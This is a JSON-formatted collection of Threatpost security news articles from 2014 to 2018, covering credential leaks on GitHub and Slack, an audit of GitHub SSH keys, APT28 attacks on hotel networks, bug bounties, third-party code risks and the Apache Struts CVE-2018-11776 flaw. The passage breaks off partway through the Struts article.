"https://threatpost.com/dyn-confirms-ddos-attack-affecting-twitter-github-many-others/121438/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2018-10-06T22:59:06", "description": "Amazon Web Services is actively searching a number of sources, including code repositories and application stores, looking for exposed credentials that could put users\u2019 accounts and services at risk.\n\nA week ago, a security consultant in Australia said that as many as 10,000 secret Amazon Web Services keys could be found on Github through a simple search. And yesterday, a software developer reported receiving a notice from Amazon that his credentials were discovered on Google Play in an Android application he had built.\n\nRaj Bala printed a [copy of the notice](<http://blog.rajbala.com/post/81038397871/amazon-is-downloading-apps-from-google-play-and>) he received from Amazon pointing out that the app was not built in line with Amazon\u2019s recommended best practices because he had embedded his AWS Key ID (AKID) and AWS Secret Key in the app.\n\n\u201cThis exposure of your AWS credentials within a publicly available Android application could lead to unauthorized use of AWS services, associated excessive charges for your AWS account, and potentially unauthorized access to your data or the data of your application\u2019s users,\u201d Amazon told Baj.\n\nAmazon advises users who have inadvertently exposed their credentials to invalidate them and never distribute long-term AWS keys with an app. Instead, Amazon recommends requesting temporary security credentials.\n\nRich Mogull, founder of consultancy Securosis, said this is a big deal.\n\n\u201cAmazon is being proactive and scanning common sources of account credentials, and then notifying customers,\u201d Mogull said. \u201cThey don\u2019t have to do this, especially since it potentially reduces their income.\u201d\n\nMogull knows of what he speaks. Not long ago, he received a similar notice from Amazon regarding his AWS account, only his warning was a bit more dire\u2014his credentials had been exposed on Gitbub and someone had fired up unauthorized EC2 instances in his account.\n\nMogull wrote an [extensive description of the incident](<https://securosis.com/blog/my-500-cloud-security-screwup>) on the Securosis blog explaining how he was building a proof-of-concept for a conference presentation, storing it on Github, and was done in because a test file he was using against blocks of code contained his Access Key and Secret Key in a comment line.\n\nTurns out someone was using the additional 10 EC2 instances to do some Bitcoin mining and the incident cost Mogull $500 in accumulated charges.\n\nAmazon told an Australian publication that it will continue its efforts to seek out these exposed credentials on third-party sites such as Google Play and Github.\n\n\u201cTo help protect our customers, we operate continuous fraud monitoring processes and alert customers if we find unusual activity,\u201d _[iTnews](<http://www.itnews.com.au/News/381432,aws-admits-scanning-android-app-in-secret-key-hunt.aspx>) _quoted Amazon.\n\nSaid Mogull: \u201cIt isn\u2019t often we see a service provider protecting their customers from error by extending security beyond the provider\u2019s service itself. Very cool.\u201d\n", "cvss3": {}, "published": "2014-04-02T15:01:53", "type": "threatpost", "title": "Amazon Web Services Combing Third Parties for Credentials", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2018-11776"], "modified": "2014-04-04T19:14:11", "id": "THREATPOST:3DB647F38E79C8BDF5846F520D041C7C", "href": "https://threatpost.com/amazon-web-services-combing-third-parties-for-exposed-credentials/105217/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2018-10-06T22:55:10", "description": "Mike Mimoso and Chris Brook discuss the news of the week, including a password issue at Github, the xDedic marketplace, another Flash zero day, and how the poorly the FBI is doing with facial recognition software.\n\nDownload: [Threatpost_News_Wrap_June_17_2016.mp3](<http://traffic.libsyn.com/digitalunderground/Threatpost_News_Wrap_June_17_2016.mp3>)\n\nMusic by Chris Gonsalves\n\n[](<https://itunes.apple.com/us/podcast/digital-underground-podcast/id315355232?mt=2>)\n", "cvss3": {}, "published": "2016-06-17T11:15:12", "type": "threatpost", "title": "On xDedic, a Flash Zero Day, Facial Recognition, and More", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2018-11776"], "modified": "2016-06-28T13:58:31", "id": "THREATPOST:962241D6EFDC7F82640BA9171D82D0B7", "href": "https://threatpost.com/threatpost-news-wrap-june-17-2016/118745/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2018-10-06T22:55:25", "description": "Popular collaboration and communication firm Slack rushed to plugged a security hole in its platform Thursday that was leaking some of its users\u2019 private chats and files for anyone to access.\n\nSlack, a leading tool used by companies to communicate internally, was alerted by security firm Detectify Labs who discovered Slack users were unwittingly sharing sensitive company information on the dev site GitHub.\n\nGitHub, another popular service used by the developer community to collaborate on projects, was unknowingly hosting hundreds of Slack bots that contained API information (or Slack tokens) that unintentionally gave third parties access to private Slack networks and data stored on them.\n\nSlack bots are created by companies to be used on their private Slack platform. They can serve either silly or serious purposes. For example, a Slack bot could be programmed to reboot servers by a user who simply types the request \u201cSlack bot, please reboot server\u201d. Another Slack bot request might be \u201cWhat\u2019s the weather for tomorrow?\u201d\n\nOver the years, thousands of Slack bots have been created by companies to carry out these conversational instructions. Hundreds of those developers decided to share their Slack bot programming code on sites such as GitHub. The idea is, other developers might want to reuse a useful Slack bot or modify the code so the Slack bot can do something new.\n\n\u201cThese developers were proud of their creation. They wanted to share their hard work with the rest of the developer community,\u201d said Rickard Carlsson, CEO of Detectify in an interview with Threatpost.\n\nThat\u2019s where developers ran into trouble. Unbeknownst to the developers sharing their Slack bots with GitHub was the fact they were also uploading their company\u2019s unique API key or token inside the Slack bot code. That meant a third-party could remove the Slack token and use it to hack into the Slack account of the person who originally created it.\n\nWhen Detectify searched for Slack tokens left behind on GitHub it discovered that those tokens could be used to access chats, files and private message data shared among Slack developer teams.\n\nAffected, Carlsson told Threatpost, were tokens belonging to individual users but also Fortune 500 companies, payment providers, multiple internet service providers and health care providers. In one case, Detectify reported it stumbled upon everything from \u201crenowned advertising agencies that want to show what they are doing internally. University classes at some of the world\u2019s best-known schools. Newspapers sharing their bots as part of stories.\u201d\n\nIn a [blog post outlining its discovery](<https://labs.detectify.com/2016/04/28/slack-bot-token-leakage-exposing-business-critical-information/>) Thursday, Detectify wrote, \u201cIn the worst case scenario, these tokens can leak production database credentials, source code, files with passwords and highly sensitive information.\u201d Detectify said it discovered the flaw earlier this month.\n\nAt first, Slack acknowledged the problem, but reminded researchers at Detectify that it\u2019s the users\u2019 responsibility to not share tokens and remove them when they are no longer needed. Slack has since updated its positions on tokens, telling Detectify \u201cWe\u2019re proactively looking for tokens ourselves now, and reaching out to customers to let them know when we\u2019ve disabled tokens and where we found them. We\u2019ll deactivate these in the next batch.\u201d\n\nSlack\u2019s email sent to its customers explaining the situation can be read online [via Detectify\u2019s website](<https://labs.detectify.com/wp-content/uploads/2016/04/Screen-Shot-2016-04-28-at-14.53.38.png>). In it the company said it would seeking out tokens it believed companies did not want to share intentionally, and deactivating them. \u201cTo help protect your team\u2019s information, we\u2019re taking the precautionary step of permanently disabling the affected tokens on your behalf,\u201d it wrote.\n\nIn a separate statement made to press Slack stated: \u201cSlack is clear and specific that tokens should be treated just like passwords. We warn developers when they generate a token never to share it with other users or applications. Our customers\u2019 security is of paramount importance to us, and we will continue to improve our documentation and communications to ensure that this message is urgently expressed.\u201d\n\nDetectify\u2019s last piece of advice: \u201cNever commit credentials inside code. Ever.\u201d\n", "cvss3": {}, "published": "2016-04-30T07:25:42", "type": "threatpost", "title": "Slack Plugs Token Security Hole", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2018-11776"], "modified": "2016-05-03T13:46:42", "id": "THREATPOST:BE0A86BAF05C9501D981BE19F3BB40AC", "href": "https://threatpost.com/slack-plugs-token-security-hole/117750/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2018-10-06T22:57:28", "description": "The U.S. Army has released to open source an internal forensics analysis framework that the Army Research Lab has been using for some time.\n\nThe framework, known as Dshell, is a Python tool that runs on Linux and its designed to help analysts investigate compromises within their environments. The goal in open sourcing the framework is to encourage outside developers and analysts to develop and contribute their own modules, based on their experiences.\n\n\u201cOutside of government there are a wide variety of cyber threats that are similar to what we face here at ARL,\u201d William Glodek, Network Security branch chief at the Army Research Laboratory, said in a [statement](<http://www.army.mil/article/141734>).\n\n\u201cDshell can help facilitate the transition of knowledge and understanding to our partners in academia and industry who face the same problems.\u201d\n\nThe Dshell framework is available on [GitHub](<https://github.com/USArmyResearchLab/Dshell>), and Glodek said in his statement that he hopes that users in private industry and the academic community will find the framework useful and be able to contribute their own modules and help expand the framework\u2019s functionality.\n\n\u201cThe success of Dshell so far has been dependent on a limited group of motivated individuals within government. By next year it should be representative of a much larger group with much more diverse backgrounds to analyze cyber attacks that are common to us all,\u201d Glodek said.\n\nThe release of Dshell comes shortly after [Cisco released its own OpenSOC security analytics framework](<https://threatpost.com/cisco-releases-security-analytics-framework-to-open-source/109415>) on [GitHub](<https://opensoc.github.io/>) in November. That framework is designed specifically for large network environments and provides some anomaly detection and incident forensics capabilities.\n\n\u201cOpenSOC is a Big Data security analytics framework designed to consume and monitor network traffic and machine exhaust data of a data center. OpenSOC is extensible and is designed to work at a massive scale,\u201d the OpenSOC documentation says.\n", "cvss3": {}, "published": "2015-01-30T10:59:44", "type": "threatpost", "title": "Army Research Lab Releases Dshell Forensics Framework", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2018-11776"], "modified": "2015-02-03T21:08:15", "id": "THREATPOST:76BC692CF25A0009598D6BE4E626ABD9", "href": "https://threatpost.com/army-research-lab-releases-dshell-forensics-framework/110766/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2018-10-06T22:56:47", "description": "An audit of the SSH keys associated with more than a million GitHub accounts shows that some users have weak, easily factorable keys and many more are using keys that are still vulnerable to the Debian OpenSSL bug disclosed seven years ago.\n\nThe public SSH keys that users associate with their GitHub account are visible to other users, a feature that enables users to share those keys with others. Last December researcher Ben Cox decided to collect as many of those keys as he could and see what he could find out about them. He began the project on Dec. 27 and by Jan. 9 he had collected more than 1.3 million SSH keys.\n\n\u201cI took a stab at this in 2013 but found that too many people didn\u2019t use GitHub in SSH mode and thus had no keys set. This time however (with a new program that used the events api) I found that the majority of active users had some SSH keys in there,\u201d Cox said in a blog [post](<https://blog.benjojo.co.uk/post/auditing-github-users-keys>) detailing the project.\n\nAfter collecting the keys, Cox began analyzing them. One of the things he looked at was the strength of the key, and he discovered that seven of the keys in his set were just 512 bits, and two others were 256 bits. Those key lengths are short enough to be in the range of factorization on many modern machines.\n\n\u201c512 bit keys have been known to be factorable in less than 3 days. The main example of this is the Texas Instruments calculator firmware signing key that was broken, allowing the modding community to upload any firmware that they wanted,\u201d Cox said.\n\n\u201cI tried on my own to make a 256 bit key and factor it, and the process took less than 25 minutes from having the public SSH key to the factoring of primes (on a subpar processer by today\u2019s standards, and then a few more minutes to transform those back into a SSH key that I could log into systems with. This risk isn\u2019t only real if someone had gathered together top of the line mathematicians or supercomputers worth of power, the 256 bit key I factored was factored on a i5-2400 in 25 mins.\u201d\n\nThe bigger issue, however, is that Cox found what he calls a \u201cvery large amount\u201d of SSH keys in the set that were vulnerable to the [Debian OpenSSL bug](<https://lists.debian.org/debian-security-announce/2008/msg00152.html>) from 2008. That vulnerability existed in certain versions of Debian and resulted from the fact that the OpenSSL random number generator included in those versions was predictable. That means that cryptographic keys generated with vulnerable versions could be guessable. The bug affected SSH keys, VPN keys, and DNSSEC keys, among others.\n\nCox compared the list of keys he had gleaned from GitHub to a list of keys affected by the Debian flaw and found that some of the accounts using vulnerable keys had access to some large and sensitive GitHub repositories. Some of those repositories include Yandex, the Russian search provider, Spotify, the cryptographic libraries for Python, and Python\u2019s core.\n\nCox disclosed the problem to GitHub in early March and the vulnerable keys were revoked on May 5. The other weak and low-quality keys he discovered were revoked on June 1.\n", "cvss3": {}, "published": "2015-06-03T07:37:04", "type": "threatpost", "title": "Audit of GitHub SSH Keys Finds Many Still Vulnerable to Old Debian Bug", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2018-11776"], "modified": "2015-06-04T15:34:07", "id": "THREATPOST:9F1389C4D97BAD7FDE2519A42E4594E2", "href": "https://threatpost.com/audit-of-github-ssh-keys-finds-many-still-vulnerable-to-old-debian-bug/113117/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2018-10-06T22:53:16", "description": "Russian-speaking cyberespionage group APT28, also known as Sofacy, is believed to be behind a series of attacks last month against travelers staying in hotels in Europe and the Middle East. APT28 notably used the NSA hacking tool EternalBlue as part of its scheme to steal credentials from business travelers, according to a [report](<https://www.fireeye.com/blog/threat-research/2017/08/apt28-targets-hospitality-sector.html>) released Friday by security firm FireEye.\n\nOne of the goals of the attack is to trick guests to download a malicious document masquerading as a hotel reservation form that, if opened and macros are enabled, installs a dropper file that ultimately downloads malware called Gamefish. Gamefish establishes a foothold in targeted systems as a way to install the open source tool called Responder, according to FireEye.\n\n\u201cOnce inside the network of a hospitality company, APT28 sought out machines that controlled both guest and internal Wi-Fi networks,\u201d wrote authors of the report Lindsay Smith and Benjamin Read, both researchers with FireEye\u2019s cyber espionage team.\n\n\u201cTo spread through the hospitality company\u2019s network, APT28 used a version of the EternalBlue SMB exploit. This was combined with the heavy use of py2exe to compile Python scripts. This is the first time we have seen APT28 incorporate this exploit into their intrusions,\u201d researchers said.\n\nFireEye said APT28\u2019s objective was to steal credentials from business travelers using hotel Wi-Fi networks, which the researchers said they did not observe. FireEye does cite a 2016 hotel attack by APT28 with a similar modus operandi. In that incident, a hotel guest\u2019s username and password were stolen while they used the Wi-Fi network. Within 12 hours the victim\u2019s business network was compromised by someone using their credentials.\n\nOnce the foothold is established in the hotel\u2019s wi-fi system, hackers deployed the Responder tool in order to facilitate NetBIOS Name Service (NBT-NS) poisoning. \u201cThis technique listens for NBT-NS (UDP/137) broadcasts from victim computers attempting to connect to network resources. Once received, Responder masquerades as the sought-out resource and causes the victim computer to send the username and hashed password to the attacker-controlled machine,\u201d researchers said.\n\nThat username and hashed password from hotel guests is cracked offline and later used to escalate privileges in the victim\u2019s network, according to FireEye.\n\nIn all, hotels in seven European countries and one Middle Eastern country were targeted. \u201cBusiness and government personnel who are traveling, especially in a foreign country, often rely on systems to conduct business other than those at their home office, and may be unfamiliar with threats posed while abroad,\u201d researchers wrote.\n\nAPT28, or Sofacy, is the group implicated by a December [DHS report](<https://threatpost.com/fbi-dhs-report-links-fancy-bear-to-election-hacks/122802/>) related to U.S. election hacks. In a report [released earlier this week](<https://threatpost.com/updates-to-sofacy-turla-highlight-2017-q2-apt-activity/127297/>), Kaspersky Lab said the group has adopted new macro techniques and continued to find new targets such as the French political party.\n\n\u201cThese incidents show a novel infection vector being used by APT28. The group is leveraging less secure hotel Wi-Fi networks to steal credentials and a NetBIOS Name Service poisoning utility to escalate privileges,\u201d FireEye wrote. \u201cPublicly accessible Wi-Fi networks present a significant threat and should be avoided whenever possible.\u201d\n", "cvss3": {}, "published": "2017-08-12T08:00:32", "type": "threatpost", "title": "APT28 Using EternalBlue to Attack Hotels in Europe, Middle East", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2018-11776"], "modified": "2017-08-12T11:12:17", "id": "THREATPOST:31661FC1D8CDC4988A6B8EB802933A7B", "href": "https://threatpost.com/apt28-using-eternalblue-to-attack-hotels-in-europe-middle-east/127419/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2018-10-06T22:57:28", "description": "Almost a year to the day since [Github announced its bug bounty program](<http://threatpost.com/github-launches-bug-bounty-program/103974>), the Git repository said yesterday that it will double its maximum payout to $10,000.\n\nBen Toews, a GitHub staffer, said yesterday that since the launch of the GitHub Security Bug Bounty, 73 previously unknown vulnerabilities have been patched.\n\n\u201cOf 1,920 submissions in the past year, 869 warranted further review, helping us to identify and fix vulnerabilities fitting nine of the OWASP top 10 vulnerability classifications,\u201d Toews said in a post to the GitHub blog. He added that GitHub has paid out $50,100 in bounties to 33 different researchers reporting 57 medium- to high-risk security issues.\n\n\u201cWe saw some incredibly involved and creative vulnerabilities reported,\u201d Toews said.\n\nGitHub pays bounties for verifiable bugs in the GitHub API, GitHub Gist, and the GitHub.com website. Until yesterday, rewards ranged from $100 to $5,000 in each [open bounty](<https://bounty.github.com/index.html#open-bounties>). The API, for example, exposes a lot of the website\u2019s functionality and data so it was a priority. The Gist is a GitHub code-sharing product built on Ruby on Rails and other open source components; bounties here vary depending on certain factors, GitHub said. As for the website, bounties there too depend on different factors and risks.\n\nBug bounties are an efficient and economical way for under-resourced organizations to expose applications to researchers who can help identify and fix potentially critical security vulnerabilities. Larger organizations such as [Facebook have prominent in-house bounties](<http://threatpost.com/facebook-bug-bounty-submissions-dramatically-increase/105235>). Facebook\u2019s, for example, paid out $1.5 million in 2013 with submissions growing almost 250 percent year over year.\n\nOthers are taking advantage of [bug bounty platforms offered by providers](<http://threatpost.com/crowdsourcing-finding-its-security-sweet-spot/106848>) such as BugCrowd and HackerOne. In these cases, providers essentially crowdsource vulnerability discovery and management. A self-contained community hammers away at applications on these respective platforms and earn bounties for bugs that meet certain criteria.\n\n> Git Hub will double its maximum bug bounty payout to $10,000\n> \n> [Tweet](<https://twitter.com/share?url=https%3A%2F%2Fthreatpost.com%2Fgithub-doubles-down-on-maximum-bug-bounty-payouts%2F110730%2F&text=Git+Hub+will+double+its+maximum+bug+bounty+payout+to+%2410%2C000>)\n\nGitHub\u2019s Toews pointed out one of GitHub\u2019s top bug submitters, Aleksandr Dobkin, who found a troubling cross-site scripting flaw that when combined with a zero day in Google\u2019s Chrome browser achieved a bypass of GitHub\u2019s content security policy.\n\nGitHub maintains a [leaderboard](<https://bounty.github.com/index.html>) of its top bug hunters. The system requires that researchers who find vulnerabilities in a GitHub property not disclose it before a patch has been released and implemented. Researchers are also not allowed to use automated scanners against GitHub, or access another user\u2019s account as part of the program.\n\nToews said vulnerabilities can be submitted [here](<https://bounty.github.com/submit-a-vulnerability.html>), and should also be accompanied by proper documentation that will allow GitHub to reproduce the vulnerability.\n", "cvss3": {}, "published": "2015-01-29T11:21:40", "type": "threatpost", "title": "GitHub Doubles Maximum Bug Bounty Payouts", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2018-11776"], "modified": "2015-01-30T20:11:49", "id": "THREATPOST:812C0E3D711FC77AF4348016C7A094D2", "href": "https://threatpost.com/github-doubles-down-on-maximum-bug-bounty-payouts/110730/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2018-10-06T22:54:19", "description": "The amount of insecure software tied to reused third-party libraries and lingering in applications long after patches have been deployed is staggering. It\u2019s a habitual problem perpetuated by developers failing to vet third-party code for vulnerabilities, and some repositories taking a hands-off approach with the code they host.\n\nThis scenario allows attackers to target one overlooked component flaw used in millions of applications instead of focusing on a single application security vulnerability. The real-world consequences have been demonstrated in the past few years with the [Heartbleed](<https://threatpost.com/openssl-fixes-tls-vulnerability/105300/>) vulnerability in OpenSSL, [Shellshock](<https://threatpost.com/major-bash-vulnerability-affects-linux-unix-mac-os-x/108521/>) in GNU Bash, and a deserialization vulnerability exploited in a recent high-profile attack against the [San Francisco Municipal Transportation Agency](<https://threatpost.com/hackers-make-new-claim-in-san-francisco-transit-ransomware-attack/122138/>). These are three instances where developers reuse libraries and frameworks that contain unpatched flaws in production applications.\n\nSecurity researchers at Veracode estimate that 97 percent of Java applications it tested included at least one component with at least one known software vulnerability. \u201cThe problem isn\u2019t limited to Java and isn\u2019t just tied to obscure projects,\u201d said Tim Jarrett senior director of security, Veracode. \u201cPick your programming language.\u201d Gartner, meanwhile, estimates that by 2020, [99 percent of vulnerabilities](<http://www.gartner.com/smarterwithgartner/top-10-security-predictions-2016/>) exploited will be ones known by security and IT professionals for at least one year.\n\n**Code Reuse Saves Time, Invites Bugs**\n\nAccording to security experts, the problem is two-fold. On one hand, developers use reliable code that at a later date is found to have a vulnerability. Second, insecure code is used by a developer who doesn\u2019t exercise due diligence on the software libraries used in their project.\n\n\u201cThey\u2019ve heard the warnings and know the dangers, but for many developers open source and third-party components can be a double-edge sword \u2013 saving time but opening the door to bugs,\u201d said Derek Weeks, vice president and DevOps advocate at Sonatype.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2016/12/06232110/sonatype.png>)In an analysis of 25,000 applications, Sonatype found that seven percent of components had at least one security defect tied to the use of an insecure software component.\n\nRepositories GitHub, Bitbucket, Python Package Index and NuGet Gallery are essential tools helping developers find pre-existing code that adds functionality for their software projects without having to reinvent the wheel. Java application developers, for example, rely on pre-existing frameworks to handle encryption, visual elements and libraries for handling data.\n\n\u201cSoftware is no longer written from scratch,\u201d Weeks said. \u201cNo matter how new and unique the application, 80 percent of the code used in a software application relies on third-party libraries or components.\u201d\n\nHe said enterprises are more reliant on the software supply chain than ever before. But he says many of the go-to open-source repositories that make up that supply chain are not vetted libraries of reliable code. Rather, they are warehouses with a varying percentage of outdated projects with security issues.\n\nAccording to an analysis of Sonatype\u2019s own Central Repository in 2015, developers had made 31 billion download requests of open source and third-party software components, compared to 17 billion requests the year before. And when Sonatype analyzed its own code library, it found 6.1 percent of code downloaded from its Central Repository had a known security defect.\n\nWeeks says Sonatype\u2019s is doing better than other repositories that offer no tools, no guidance and no red flags to prevent developers from using frameworks with faulty code. \u201cThere is no Good Housekeeping Seal of Approval for third-party code.\u201d\n\n\u201cFaulty code can easily spawn more problems down the road for developers,\u201d said Stephen Breen, a principal consultant at NTT Com Security. \u201cEven when development teams have the best intentions, it\u2019s easy for developers working under tight deadlines to not properly vet the third-party code used in their software.\u201d\n\nBreen said when insecure code is unknowingly used to build a component within a software program, problems snowball when that component is used inside other larger components. One example of vulnerable third-party code reused repeatedly is a deserialization flaw in Apache Commons Collections (commons-collections-3.2.1.jar) \u2013 first reported in 2015 and patched in November of the same year.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2016/12/06232053/Threatpost_Veracode_Top_Java_vulns.png>)\n\nSource: Veracode\n\nJarrett found there are still 1,300 instances of the old vulnerable version of the Commons Collections lurking inside Java applications using Spring and Hibernate libraries and hosted across multiple open source code repositories.\n\n\u201cThe developer knows they are picking Spring or Hibernate for their development project. They don\u2019t take it to the next level and realize they are also getting Common Collections,\u201d Jarrett said. \u201cThat Common Collections library is then used by thousands more projects.\u201d\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2016/12/06232108/apache.png>)According to Veracode, Apache Commons Collections is the sixth-most common component used in Java applications. It found that the unpatched versions of the software was in 25 percent of 300,000 Java applications scanned. Even more challenging for developers is updating those applications that are using the vulnerable version of libraries and frameworks since flaws were patched.\n\n\u201cThink of it like a faulty airbag. Carmakers used those faulty airbags in millions of vehicles. Now it\u2019s the carmaker on the hook to fix the problem, not the airbag maker,\u201d Jarrett said.\n\n**Leaky Apps, Bad Crypto, Injection Flaws Galore**\n\nVeracode said the Apache Common Collection example is the tip of the iceberg. When Veracode examined vulnerabilities tied to insecure code it found application information leakage, where user or application data can be leveraged by an attacker, is the most prevalent type of vulnerability, accounting for 72 percent of third-party code flaws. Second are cryptographic issues representing 65 percent of vulnerabilities. That was followed by Carriage Return Line Feed (CRLF) injection flaws and cross site scripting bugs.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2016/12/06232057/Threatpost_Veracode_Top_vuln_cats.png>)\n\nSource: Veracode\n\nCompounding the problem is an increased dependency on open-source components used in a wide variety of software products. The federal government is typical. It has an open-source-first policy as do many private companies. Relying on third-party libraries shortens development time and can improve the safety and quality of their software projects, Weeks said.\n\n\u201cNot only does code reuse save time but it also allows developers to be more innovative as they focus on creating new functionality and not writing encryption libraries from scratch,\u201d Weeks said. Done correctly, code reuse is a developer\u2019s godsend, he said.\n\nFor those reasons, security experts say it\u2019s time for the industry to stop and consider where code originates. Sonatype, which markets and sells code verification services, promotes the idea of documenting software\u2019s supply chain with what it calls a \u201csoftware bill of materials.\u201d That way developers can better scrutinize open-source frameworks before and after they are used; making it easier to update those applications that are using vulnerable old versions of libraries.\n\nSonatype said it found one in 16 components it analyzed had a vulnerability that was previously documented, verified and with additional information available on the Internet. \u201cI can\u2019t imagine any other industry where it\u2019s okay that one in 16 parts have known defects.\u201d\n\nThe problem is that among developers there is a mix of denial and ignorance at play. \u201cDevelopers choose component parts, not security,\u201d Weeks said. It should be the other way around.\n\n\u201cIf we are aware of malicious or bad libraries or code, of course we want to warn our users,\u201d said Logan Abbott, president of SourceForge, a software and code repository. \u201cWe scan binaries for vulnerabilities, but we don\u2019t police any of the code we host.\u201d\n\n**Repositories Say: \u2018We\u2019re Just the Host\u2019**\n\nRepositories contacted by Threatpost say their platforms are a resource for developers akin to cloud storage services that allow people to store and share content publicly or privately. They don\u2019t tell users what they can and cannot host with their service.\n\nThey say rooting out bugs in software should be on shoulders of developers \u2013 not repositories. Writing good vulnerability-free code starts at getting good code from healthy repositories with engaged users.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2016/12/06232105/bitbucket.png>)\u201cBitbucket is to a developer like Home Depot is to a carpenter,\u201d said Rahul Chhabria, product manager for Atlassian Bitbucket. \u201cWe\u2019ve built a hosting service with a variety of tools to help developers execute on their vision.\u201d\n\nChhabria said Bitbucket offers a range of tools to help sniff out bad or insecure components such as the third-party tool SourceClear for scanning dependency chains. It also offers Bitbucket that it says allows for team development of software projects and simplifies peer review. Another features, Bitbucket Pipelines, is also designed to help developers ship high quality code.\n\nGitHub is one of the largest repositories; it hosts 49 million public and private projects for its 18 million users. It does not scan or red flag insecure code hosted on its platform, according to Shawn Davenport, VP of security at GitHub. Instead developers can use third party-tools such as Gemnasium, Brakeman and Code Climate for static and dependency analysis.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2016/12/06232101/github.png>)\u201cThere is a lot of hidden risk out there in projects,\u201d Davenport said. \u201cWe do our best to make sure our developers know what tools are available to them to vet their own code.\u201d He estimates a minority GitHub developers take advantage of software scanning and auditing tools. \u201cUnfortunately security isn\u2019t a developers first priority.\u201d\n\nOther repositories told Threatpost they intentionally take a hands-off approach and say expecting them to police their own software isn\u2019t feasible, not part of their mission and nothing they plan to do. They point out, flawed or not, developers want access to all code \u2013 even older components.\n\n\u201cAn implementation of a library in one framework might not be a security risk at all,\u201d Breen said. He points out developers often temporarily revert to those old libraries as stopgaps should an updated version break a project.\n\n**Automated Scanning to the Rescue?**\n\nOne attempt at nipping the problem at the bud is the used of automated security vulnerability and configuration scanning for open source components. By 2019, more than 70 percent of enterprise DevOps initiatives will incorporate automated scanning, according to Gartner. Today only 10 percent of packages are scanned.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2016/12/06232050/nodejs.png>)The Node.js Foundation, an industry consortium designed to promote the Node.js platform, relies on a more community-based approach via the Node.js Security Project. The goal is to provide developers a process for discovering and disclosing security vulnerabilities found in the Node.js module ecosystem. According to Node.js the approach is a hybrid solution that consists of a database of vulnerabilities and a community communication channel for vetting and disclosing vulnerable code.\n\n\u201cIt\u2019s not a story about security professionals solving the problem, it\u2019s about how we empower development with the right information about the (software) parts they are consuming,\u201d Weeks said. \u201cIn this case, the heart of the solution lies with development, and therefore requires a new approach and different thinking.\u201d\n", "cvss3": {}, "published": "2016-12-15T10:00:39", "type": "threatpost", "title": "Code Reuse a Peril for Secure Software Development", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2018-11776"], "modified": "2016-12-27T13:45:57", "id": "THREATPOST:87897784F4B89A5B9E8CE18E2324CC70", "href": "https://threatpost.com/code-reuse-a-peril-for-secure-software-development/122476/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2019-06-28T05:48:46", "description": "A critical remote code-execution vulnerability in Apache Struts 2, the popular open-source framework for developing web applications in the Java programming language, is threatening a wide range of applications, even when no additional plugins have been enabled. Successful exploitation could lead to full endpoint and eventually network compromise, according to researchers \u2013 who said that the flaw is more dangerous than the similar vulnerability used to compromise Equifax last year.\n\nA [working exploit](<https://threatpost.com/poc-code-surfaces-to-exploit-apache-struts-2-vulnerability/136921/>) surfaced within a day of its disclosure.\n\nThe vulnerability ([CVE-2018-11776](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-11776>)) was [patched](<https://cwiki.apache.org/confluence/display/WW/S2-057>) by the Apache Software Foundation yesterday and affects all supported versions of Struts 2: Users of Struts 2.3 should upgrade to 2.3.35; users of Struts 2.5 need to upgrade to 2.5.17. They should do so as soon as possible, given that bad actors are likely already working on exploits, according to the Semmle research team\u2019s Man Yue Mo, who uncovered the flaw.\n\n\u201cThis vulnerability affects commonly-used endpoints of Struts, which are likely to be exposed, opening up an attack vector to malicious hackers,\u201d he said in a [posting](<https://semmle.com/news/apache-struts-CVE-2018-11776>) on Wednesday. \u201cOn top of that, the weakness is related to the Struts Object-Graph Navigation Language (OGNL) language, which hackers are very familiar with, and are known to have been exploited in the past.\u201d\n\n[OGNL](<https://commons.apache.org/proper/commons-ognl/>) is a powerful, domain-specific language that is used to customize Struts\u2019 behavior.\n\n\u201cOn the whole, this is more critical than the highly critical Struts RCE vulnerability that the Semmle Security Research Team discovered and announced last September,\u201d said Yue Mo, referring to the infamous vulns (CVE-2017-9805) that hackers used to compromise Equifax last year, which led to the lifting of [personal details of 147 million consumers](<https://threatpost.com/equi-facts-equifax-clarifies-the-numbers-for-its-massive-breach/131797/>).\n\nTim Mackey, technology evangelist at Synopsys, told Threatpost that this is due to the fact that it affects a wider swath of the Struts architecture.\n\n\u201cIn the case of CVE-2018-11776, the root cause [is] a lack of input validation on the URL passed to the Struts framework,\u201d he explained. \u201cThe prior [Struts] vulnerabilities were all in code within a single functional area of the Struts code. This meant that developers familiar with that functional area could quickly identify and resolve issues without introducing new functional behaviors. CVE-2018-11776 operates at a far deeper level within the code, which in turns requires a deeper understanding of not only the Struts code itself, but the various libraries used by Struts. It is this level of understanding which is of greatest concern \u2013 and this concern relates to any library framework.\u201d\n\n## Anatomy of the Flaw\n\nThe vulnerability is caused by insufficient validation of untrusted user data in the core of the Struts framework, according to the team\u2019s findings.\n\n\u201cAttackers can attack vulnerable applications by injecting their own namespace as a parameter in an HTTP request,\u201d they explained. \u201cThe value of that parameter is insufficiently validated by the Struts framework, and can be any OGNL string.\u201d\n\nBecause the issue affects the core of Struts, there are at least two separate attack vectors \u2013 and potentially many more.\n\nIn the first attack scenario, three 